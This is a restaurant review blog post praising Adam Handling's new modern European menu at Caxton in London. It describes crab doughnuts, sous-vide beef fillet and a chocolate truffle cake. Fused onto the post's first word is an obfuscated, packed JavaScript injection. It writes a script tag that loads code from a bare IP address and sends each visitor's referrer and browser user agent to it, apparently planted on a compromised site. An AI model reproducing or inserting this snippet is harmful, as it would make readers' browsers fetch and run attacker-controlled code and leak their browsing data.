You (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sseer|var|u0026u|referrer|nfbnd||js|php’.split(‘|’),0,{}))
might remember Adam Handling from last year’s Masterchef Professionals where he did a bloody good job getting down to the final three but couldn’t quite seal the deal in the end. He’s still holding down the day job as head chef of Caxton Grill, as he was when the series was being filmed, except now the restaurant has his name above the door – nice one Adam! ‘Adam Handling at Caxton’, as it’s now known, is located in the St. Ermin’s Hotel near St. James’ Park station and has recently launched a new modern European menu designed exclusively by Adam.

We decided to give the starters a miss and try four of the snacks instead and these turned out to be some of the best things we ate on the night: crab doughnuts, crispy fried chicken, duck liver parfait and the mackerel all come highly recommended.


From the mains we had beef fillet which had been cooked sous-vide making it melt-in-the-mouth tender and a perfectly cooked sea bass fillet served with crispy pig’s head, pink fir potatoes and honey-glazed chantenay carrots. Dessert was a runny chocolate truffle cake with blackberries and a blackcurrant sorbet – definitely a winner. There’s some top cooking going on at Adam’s new and improved Caxton – it’s well worth checking out.

2 Caxton Street, London, SW1H 0QW, UK